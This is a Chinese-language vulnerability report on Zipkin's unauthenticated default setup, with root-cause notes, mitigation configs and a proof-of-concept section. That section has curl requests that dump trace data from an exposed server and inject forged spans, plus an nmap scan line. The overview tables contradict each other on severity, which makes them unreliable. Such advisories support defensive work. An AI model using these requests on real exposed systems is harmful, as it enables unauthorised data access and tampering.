一、漏洞简介

1.1 漏洞背景

Zipkin 默认配置下不启用任何身份认证机制。这意味着如果 Zipkin 服务暴露在公网或不可信网络中,任何能够连接到 Zipkin 端口的用户都可以:

  1. 查看所有追踪数据(可能包含敏感业务信息)
  2. 上传伪造的追踪数据
  3. 获取服务拓扑信息
  4. 了解系统架构细节

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 默认未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 Zipkin 分布式追踪系统
属性 描述
CVE编号 无独立 CVE(配置安全问题)
危害等级 中危 (Medium)
CVSS评分 6.5
漏洞类型 认证绕过 / 未授权访问 - CWE-306
影响组件 Zipkin Server
利用难度
<hr />

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • 所有未配置认证的 Zipkin 版本

2.2 不受影响的版本

  • 配置了认证机制的 Zipkin 实例
  • 通过反向代理添加认证的实例
  • 仅监听 localhost 的实例

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Zipkin 服务绑定在 0.0.0.0 或公网 IP
  2. 未配置任何认证机制
  3. 防火墙未限制 9411 端口访问
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Zipkin 默认配置文件中:

# 默认配置
server:
  port: 9411

# 无认证配置
# 无 access-control 配置

攻击者可以直接访问:

GET /api/v2/traces HTTP/1.1
Host: target:9411

无需任何认证即可获取所有追踪数据。

3.2 源码层面的根因分析(结合源码与补丁对比)

Zipkin Server 默认不启用安全模块:

// ZipkinServer.java
@SpringBootApplication
@EnableZipkinServer
public class ZipkinServer {
    public static void main(String[] args) {
        SpringApplication.run(ZipkinServer.class, args);
    }
    // 默认无 Security Configuration
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 启动默认配置的 Zipkin
docker run -d -p 9411:9411 --name zipkin openzipkin/zipkin

# 确认服务可访问
curl http://localhost:9411/

4.2 PoC 演示与测试过程

# 1. 查看所有追踪数据
curl http://target:9411/api/v2/traces

# 2. 获取服务列表
curl http://target:9411/api/v2/services

# 3. 获取依赖关系
curl http://target:9411/api/v2/dependencies

# 4. 上传伪造追踪数据
curl -X POST http://target:9411/api/v2/spans \
  -H "Content-Type: application/json" \
  -d '[{"traceId":"fake","id":"1","name":"fake-span"}]'

Nmap 扫描

nmap -p 9411 --script http-title "Zipkin" target
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

Zipkin 本身不内置认证功能,需要配合外部组件实现:

# 使用带有安全配置的部署方案

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 网络隔离
# 仅允许内网访问
iptables -A INPUT -p tcp --dport 9411 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9411 -j DROP
  1. 使用反向代理添加认证

Nginx 配置:

server {
    listen 9411;

    auth_basic "Zipkin Access";
    auth_basic_user_file /etc/nginx/.htpasswd;

    location / {
        proxy_pass http://127.0.0.1:9410;
    }
}
  1. 限制监听地址
# 仅监听本地
java -jar zipkin.jar --server.address=127.0.0.1
  1. 使用 Spring Security
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • Zipkin 安全最佳实践:https://zipkin.io/pages/security.html

6.2 其他技术参考资料

  • Zipkin 官方文档:https://zipkin.io/
  • Spring Security 配置:https://spring.io/projects/spring-security
<hr />

报告生成时间:2026年3月21日 报告版本:v2.0 文件位置:/tmp/zq/zipkin-vulnerabilities-complete.md